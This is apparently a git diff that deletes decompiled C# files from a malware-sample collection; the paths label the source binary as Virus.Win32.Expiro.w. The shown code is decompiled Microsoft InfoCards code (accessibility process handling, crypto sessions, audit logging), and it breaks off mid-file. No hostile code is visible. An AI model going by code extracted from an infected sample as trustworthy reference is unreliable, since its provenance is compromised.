IMAGE_AUX_SYMBOL_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/IMPORT_OBJECT_NAME_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/IMPORT_OBJECT_NAME_TYPE.cs deleted file mode 100644 index a18fa6cd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/IMPORT_OBJECT_NAME_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: IMPORT_OBJECT_NAME_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum IMPORT_OBJECT_NAME_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/IMPORT_OBJECT_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/IMPORT_OBJECT_TYPE.cs deleted file mode 100644 index 3f52caac..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/IMPORT_OBJECT_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: IMPORT_OBJECT_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum IMPORT_OBJECT_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AccessibilityApplicationManager.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AccessibilityApplicationManager.cs deleted file mode 100644 index be979478..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AccessibilityApplicationManager.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AccessibilityApplicationManager -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class AccessibilityApplicationManager - { - private const int WindowsVistaMajorVersion = 6; - private IAccessibilityHelper m_helper; - - public AccessibilityApplicationManager() - { - bool fTabletPC = 0 != NativeMethods.GetSystemMetrics(86); - if (Environment.OSVersion.Version.Major < 6) - this.m_helper = (IAccessibilityHelper) new AccessibilityHelperForXpWin2k3(fTabletPC); - else - this.m_helper = (IAccessibilityHelper) new AccessibilityHelperForVista(fTabletPC); - } - - public void Stop() => this.m_helper.Stop(); - - public void RestartOnInfoCardDesktop( - uint userATApplicationFlags, - SafeNativeHandle hTrustedUserToken, - ref string trustedUserSid, - string infocardDesktop, - int userSessionId, - uint userProcessId, - WindowsIdentity userIdentity) - { - this.m_helper.RestartOnInfoCardDesktop(userATApplicationFlags, hTrustedUserToken, ref trustedUserSid, infocardDesktop, userSessionId, userProcessId, userIdentity); - } - - public bool RestartOnUsersDesktop( - uint userProcessId, - string userDesktop, - WindowsIdentity userIdentity) - { - return this.m_helper.RestartOnUsersDesktop(userProcessId, userDesktop, userIdentity); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AccessibilityHelperForVista.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AccessibilityHelperForVista.cs deleted file mode 100644 index 8692643a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AccessibilityHelperForVista.cs +++ /dev/null @@ -1,124 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AccessibilityHelperForVista -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class AccessibilityHelperForVista : IAccessibilityHelper, IDisposable - { - private static readonly string systemPath = Environment.GetFolderPath(Environment.SpecialFolder.System); - private static readonly string progfilePath = Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles); - private static readonly string baseATPath = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\ATs"; - private static readonly string configPath = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Accessibility\\Session"; - private List m_applicationList = new List(); - private ProcessManager m_manager; - private bool m_fResetConfigKey; - private int m_sessionId; - private bool m_fTabletPC; - - public AccessibilityHelperForVista(bool fTabletPC) - { - this.m_fTabletPC = fTabletPC; - this.InitializeATAppData(); - } - - private void InitializeATAppData() - { - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(AccessibilityHelperForVista.baseATPath); - foreach (string subKeyName in registryKey.GetSubKeyNames()) - { - string str = (string) registryKey.OpenSubKey(subKeyName).GetValue("ATExe"); - if (!string.IsNullOrEmpty(str)) - this.m_applicationList.Add(str); - } - } - - void IAccessibilityHelper.Stop() - { - if (this.m_manager == null) - return; - this.m_manager.Dispose(); - this.m_manager = (ProcessManager) null; - } - - bool IAccessibilityHelper.RestartOnUsersDesktop( - uint userProcessId, - string userDesktop, - WindowsIdentity userIdentity) - { - InfoCardTrace.Assert(null == this.m_manager, "The AT applications must be terminated before they can be restarted"); - if (!this.m_fResetConfigKey) - return false; - Registry.LocalMachine.OpenSubKey(AccessibilityHelperForVista.configPath + (object) this.m_sessionId, true).SetValue("Configuration", (object) ""); - this.m_fResetConfigKey = false; - return true; - } - - void IAccessibilityHelper.RestartOnInfoCardDesktop( - uint userATApplicationFlags, - SafeNativeHandle hTrustedUserToken, - ref string trustedUserSid, - string infocardDesktop, - int userSessionId, - uint userProcessId, - WindowsIdentity userIdentity) - { - using (new SystemIdentity(false)) - { - InfoCardTrace.Assert(null == this.m_manager, "The AT applications are already started"); - this.m_fResetConfigKey = false; - this.m_sessionId = userSessionId; - string str = userIdentity.User.Value; - for (int index = 0; index < this.m_applicationList.Count; ++index) - { - string application = this.m_applicationList[index]; - Process[] processesByName = Process.GetProcessesByName(application.Substring(0, application.LastIndexOf('.'))); - if (processesByName != null) - { - foreach (Process p in processesByName) - { - if (userSessionId == p.SessionId) - { - this.m_fResetConfigKey = true; - if (!Utility.KillHelper(p)) - break; - break; - } - } - } - } - if (this.m_manager == null) - this.m_manager = new ProcessManager(userSessionId, trustedUserSid); - string fullPath1 = Path.Combine(AccessibilityHelperForVista.systemPath, "AtBroker.exe"); - if (userATApplicationFlags != 0U) - { - bool fUseElevatedToken = false; - this.m_manager.AddProcess(hTrustedUserToken, ref trustedUserSid, infocardDesktop, userProcessId, userIdentity, fullPath1, "", fUseElevatedToken); - } - if (!this.m_fTabletPC) - return; - string fullPath2 = Path.Combine(AccessibilityHelperForVista.progfilePath, "microsoft shared\\ink\\tabtip.exe"); - bool fUseElevatedToken1 = true; - this.m_manager.AddProcess(hTrustedUserToken, ref trustedUserSid, infocardDesktop, userProcessId, userIdentity, fullPath2, "/SeekDesktop:", fUseElevatedToken1); - } - } - - public void Dispose() - { - if (this.m_manager == null) - return; - this.m_manager.Dispose(); - this.m_manager = (ProcessManager) null; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AccessibilityHelperForXpWin2k3.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AccessibilityHelperForXpWin2k3.cs deleted file mode 100644 index 0731e118..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AccessibilityHelperForXpWin2k3.cs +++ /dev/null @@ -1,169 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AccessibilityHelperForXpWin2k3 -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class AccessibilityHelperForXpWin2k3 : IAccessibilityHelper, IDisposable - { - private const int OSKIndex = 0; - private static readonly string systemPath = Environment.GetFolderPath(Environment.SpecialFolder.System); - private static readonly string baseRegistryPath = "\\SOFTWARE\\Microsoft\\Utility Manager\\"; - private static readonly string keyName = "Start on locked desktop"; - internal static AccessibilityHelperForXpWin2k3.DownlevelAtData[] atApplications = new AccessibilityHelperForXpWin2k3.DownlevelAtData[3] - { - new AccessibilityHelperForXpWin2k3.DownlevelAtData("On-Screen Keyboard", "osk.exe", "msswchx"), - new AccessibilityHelperForXpWin2k3.DownlevelAtData("Magnifier", "magnify.exe", (string) null), - new AccessibilityHelperForXpWin2k3.DownlevelAtData("Narrator", "narrator.exe", (string) null) - }; - private List m_restartList = new List(); - private ProcessManager m_manager; - private bool m_fTabletPC; - - public AccessibilityHelperForXpWin2k3(bool fTabletPC) => this.m_fTabletPC = fTabletPC; - - void IAccessibilityHelper.Stop() - { - if (this.m_manager == null) - return; - this.m_manager.Dispose(); - this.m_manager = (ProcessManager) null; - } - - bool IAccessibilityHelper.RestartOnUsersDesktop( - uint userProcessId, - string userDesktop, - WindowsIdentity userIdentity) - { - InfoCardTrace.Assert(null == this.m_manager, "The AT applications must be terminated before they can be restarted"); - using (new SystemIdentity(false)) - { - foreach (int restart in this.m_restartList) - { - string application = Path.Combine(AccessibilityHelperForXpWin2k3.systemPath, AccessibilityHelperForXpWin2k3.atApplications[restart].Image); - int pid = 0; - int userHelperWrapper = (int) NativeMcppMethods.CreateProcessAsUserHelperWrapper(application, "", userProcessId, userDesktop, userIdentity.Name, ref pid); - } - } - this.m_restartList.Clear(); - return false; - } - - void IAccessibilityHelper.RestartOnInfoCardDesktop( - uint ATApplicationFlags, - SafeNativeHandle hTrustedUserToken, - ref string trustedUserSid, - string infocardDesktop, - int userSessionId, - uint userProcessId, - WindowsIdentity userIdentity) - { - using (new SystemIdentity(false)) - { - InfoCardTrace.Assert(null == this.m_manager, "The AT applications are already started"); - this.m_restartList.Clear(); - bool flag1 = false; - string str = userIdentity.User.Value; - for (int index = 0; index < AccessibilityHelperForXpWin2k3.atApplications.Length; ++index) - { - using (RegistryKey registryKey = Registry.Users.OpenSubKey(str + AccessibilityHelperForXpWin2k3.baseRegistryPath + AccessibilityHelperForXpWin2k3.atApplications[index].RegistryPath)) - { - bool flag2 = false; - int? nullable1 = new int?(); - if (registryKey != null && RegistryValueKind.DWord == registryKey.GetValueKind(AccessibilityHelperForXpWin2k3.keyName)) - nullable1 = new int?((int) registryKey.GetValue(AccessibilityHelperForXpWin2k3.keyName)); - if (nullable1.HasValue) - { - int? nullable2 = nullable1; - if ((1 != nullable2.GetValueOrDefault() ? 0 : (nullable2.HasValue ? 1 : 0)) != 0) - goto label_9; - } - if (this.m_fTabletPC) - { - if (index != 0) - continue; - } - else - continue; -label_9: - foreach (Process p in Process.GetProcessesByName(AccessibilityHelperForXpWin2k3.atApplications[index].Image.Substring(0, AccessibilityHelperForXpWin2k3.atApplications[index].Image.LastIndexOf('.')))) - { - flag2 = false; - if (userSessionId == p.SessionId) - { - flag2 = true; - this.m_restartList.Add(index); - if (!Utility.KillHelper(p)) - break; - break; - } - } - if (flag2 && AccessibilityHelperForXpWin2k3.atApplications[index].AdditionalImage != null) - { - foreach (Process p in Process.GetProcessesByName(AccessibilityHelperForXpWin2k3.atApplications[index].AdditionalImage)) - { - if (userSessionId == p.SessionId && Utility.KillHelper(p)) - break; - } - } - if (nullable1.HasValue) - { - int? nullable3 = nullable1; - if ((1 != nullable3.GetValueOrDefault() ? 0 : (nullable3.HasValue ? 1 : 0)) != 0) - { - if (ATApplicationFlags != 0U) - { - string fullPath = Path.Combine(AccessibilityHelperForXpWin2k3.systemPath, AccessibilityHelperForXpWin2k3.atApplications[index].Image); - if (this.m_manager == null) - this.m_manager = new ProcessManager(userSessionId, trustedUserSid); - bool fUseElevatedToken = false; - this.m_manager.AddProcess(hTrustedUserToken, ref trustedUserSid, infocardDesktop, userProcessId, userIdentity, fullPath, "", fUseElevatedToken); - if (index == 0) - flag1 = true; - } - } - } - } - } - if (!this.m_fTabletPC || flag1) - return; - if (this.m_manager == null) - this.m_manager = new ProcessManager(userSessionId, trustedUserSid); - bool fUseElevatedToken1 = false; - this.m_manager.AddProcess(hTrustedUserToken, ref trustedUserSid, infocardDesktop, userProcessId, userIdentity, Path.Combine(AccessibilityHelperForXpWin2k3.systemPath, AccessibilityHelperForXpWin2k3.atApplications[0].Image), "", fUseElevatedToken1); - } - } - - public void Dispose() - { - if (this.m_manager == null) - return; - this.m_manager.Dispose(); - this.m_manager = (ProcessManager) null; - } - - internal struct DownlevelAtData - { - public string RegistryPath; - public string Image; - public string AdditionalImage; - - public DownlevelAtData(string path, string image, string additional) - { - this.RegistryPath = path; - this.Image = image; - this.AdditionalImage = additional; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AppliesToBehaviorDecision.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AppliesToBehaviorDecision.cs deleted file mode 100644 index faed157b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AppliesToBehaviorDecision.cs +++ /dev/null @@ -1,16 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AppliesToBehaviorDecision -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -namespace Microsoft.InfoCards -{ - internal enum AppliesToBehaviorDecision : byte - { - DoNotSend, - SendRPAppliesTo, - SendCustomAppliesTo, - FailMatch, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AppliesToBehaviorDecisionTable.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AppliesToBehaviorDecisionTable.cs deleted file mode 100644 index f6da6f5a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AppliesToBehaviorDecisionTable.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AppliesToBehaviorDecisionTable -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.ServiceModel; - -namespace Microsoft.InfoCards -{ - internal static class AppliesToBehaviorDecisionTable - { - private static AppliesToBehaviorDecision[,] appliesToDecisionTable = new AppliesToBehaviorDecision[2, 3]; - - static AppliesToBehaviorDecisionTable() - { - AppliesToBehaviorDecisionTable.appliesToDecisionTable[0, 0] = AppliesToBehaviorDecision.DoNotSend; - AppliesToBehaviorDecisionTable.appliesToDecisionTable[1, 0] = AppliesToBehaviorDecision.FailMatch; - AppliesToBehaviorDecisionTable.appliesToDecisionTable[0, 1] = AppliesToBehaviorDecision.DoNotSend; - AppliesToBehaviorDecisionTable.appliesToDecisionTable[1, 1] = AppliesToBehaviorDecision.SendRPAppliesTo; - AppliesToBehaviorDecisionTable.appliesToDecisionTable[0, 2] = AppliesToBehaviorDecision.SendCustomAppliesTo; - AppliesToBehaviorDecisionTable.appliesToDecisionTable[1, 2] = AppliesToBehaviorDecision.SendRPAppliesTo; - } - - private static AppliesToBehaviorDecision GetAppliesToBehaviorDecision( - InfoCardPolicy policy, - RequireAppliesToStatus requireAppliesTo, - bool considerUnrecognizedElements) - { - int index = (EndpointAddress) null == policy.PolicyAppliesTo ? 0 : 1; - if (considerUnrecognizedElements) - index = policy.NonWhiteListElementsFound ? 1 : index; - return AppliesToBehaviorDecisionTable.appliesToDecisionTable[index, (int) requireAppliesTo]; - } - - public static AppliesToBehaviorDecision GetAppliesToBehaviorDecisionForRst( - InfoCardPolicy policy, - RequireAppliesToStatus requireAppliesTo) - { - return AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecision(policy, requireAppliesTo, false); - } - - public static AppliesToBehaviorDecision GetAppliesToBehaviorDecisionForPolicyMatch( - InfoCardPolicy policy, - RequireAppliesToStatus requireAppliesTo) - { - return AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecision(policy, requireAppliesTo, true); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Asn1Utilities.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Asn1Utilities.cs deleted file mode 100644 index 97995273..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Asn1Utilities.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Asn1Utilities -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -namespace Microsoft.InfoCards -{ - internal class Asn1Utilities - { - private Asn1Utilities() - { - } - - public static string ToHexDump(byte[] bytes) => ""; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AsymmetricCryptoSession.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AsymmetricCryptoSession.cs deleted file mode 100644 index 305414a5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AsymmetricCryptoSession.cs +++ /dev/null @@ -1,67 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AsymmetricCryptoSession -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class AsymmetricCryptoSession : CryptoSession - { - private RSACryptoServiceProvider m_provider; - - public AsymmetricCryptoSession( - Process process, - DateTime expirationTime, - WindowsIdentity identity, - RSACryptoServiceProvider key) - : base(process, expirationTime, identity, (object) key, CryptoSession.SessionType.Asymmetric) - { - this.m_provider = key; - } - - protected override void OnWrite(BinaryWriter bwriter) - { - bwriter.Write(this.m_provider.KeySize); - Utility.SerializeString(bwriter, this.m_provider.KeyExchangeAlgorithm); - Utility.SerializeString(bwriter, this.m_provider.SignatureAlgorithm); - } - - protected override void OnDispose() - { - this.m_provider.Clear(); - this.m_provider.Dispose(); - this.m_provider = (RSACryptoServiceProvider) null; - } - - public byte[] Encrypt(bool fOAEP, byte[] inData) - { - this.ThrowIfDisposed(); - return this.m_provider.Encrypt(inData, fOAEP); - } - - public byte[] Decrypt(bool fOAEP, byte[] inData) - { - this.ThrowIfDisposed(); - return this.m_provider.Decrypt(inData, fOAEP); - } - - public byte[] SignHash(byte[] hash, string hashAlgOid) - { - this.ThrowIfDisposed(); - return this.m_provider.SignHash(hash, hashAlgOid); - } - - public bool VerifyHash(byte[] hash, string hashAlgOid, byte[] sig) - { - this.ThrowIfDisposed(); - return this.m_provider.VerifyHash(hash, hashAlgOid, sig); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AsyncParams.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AsyncParams.cs deleted file mode 100644 index de8d82c8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AsyncParams.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AsyncParams -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.Win32.SafeHandles; - -namespace Microsoft.InfoCards -{ - internal abstract class AsyncParams - { - private RpcAsyncResult m_asyncResult; - - protected AsyncParams(ClientRequest request, string opType, SafeWaitHandle externEvent) => this.m_asyncResult = new RpcAsyncResult(request, opType, externEvent); - - public RpcAsyncResult AsyncResult => this.m_asyncResult; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AuditLog.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AuditLog.cs deleted file mode 100644 index 1a56b22a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AuditLog.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.AuditLog -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; - -namespace Microsoft.InfoCards -{ - internal static class AuditLog - { - public static void AuditCardWritten() => InfoCardTrace.Audit(EventCode.AUDIT_CARD_WRITTEN); - - public static void AuditCardDeletion() => InfoCardTrace.Audit(EventCode.AUDIT_CARD_DELETE); - - public static void AuditCardImport() => InfoCardTrace.Audit(EventCode.AUDIT_CARD_IMPORT); - - public static void AuditStoreImport() => InfoCardTrace.Audit(EventCode.AUDIT_STORE_IMPORT); - - public static void AuditStoreExport() => InfoCardTrace.Audit(EventCode.AUDIT_STORE_EXPORT); - - public static void AuditStoreDeletion() => InfoCardTrace.Audit(EventCode.AUDIT_STORE_DELETE); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/BeginCreateSecurityTokenRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/BeginCreateSecurityTokenRequest.cs deleted file mode 100644 index 8dc58dda..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/BeginCreateSecurityTokenRequest.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.BeginCreateSecurityTokenRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class BeginCreateSecurityTokenRequest : UIAgentAsyncBeginRequest - { - private bool m_discloseOptional; - private TokenFactoryCredential m_credential; - - public BeginCreateSecurityTokenRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalAsyncInArgs(BinaryReader reader) - { - this.m_discloseOptional = reader.ReadBoolean(); - this.m_credential = TokenFactoryCredential.CreateFrom(reader, (UIAgentRequest) this, this.ParentRequest.UserLanguage); - } - - protected override object AsyncExecute(AsyncParams asyncParam) => (object) ((GetTokenRequest) this.ParentRequest).CreateSecurityToken(this.m_credential, this.m_discloseOptional); - - protected override void AsyncCancel() => ((GetTokenRequest) this.ParentRequest).CancelCreateSecurityToken(); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/BeginGetFileNameFromUserRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/BeginGetFileNameFromUserRequest.cs deleted file mode 100644 index f4076be6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/BeginGetFileNameFromUserRequest.cs +++ /dev/null @@ -1,72 +0,0 @@ -// 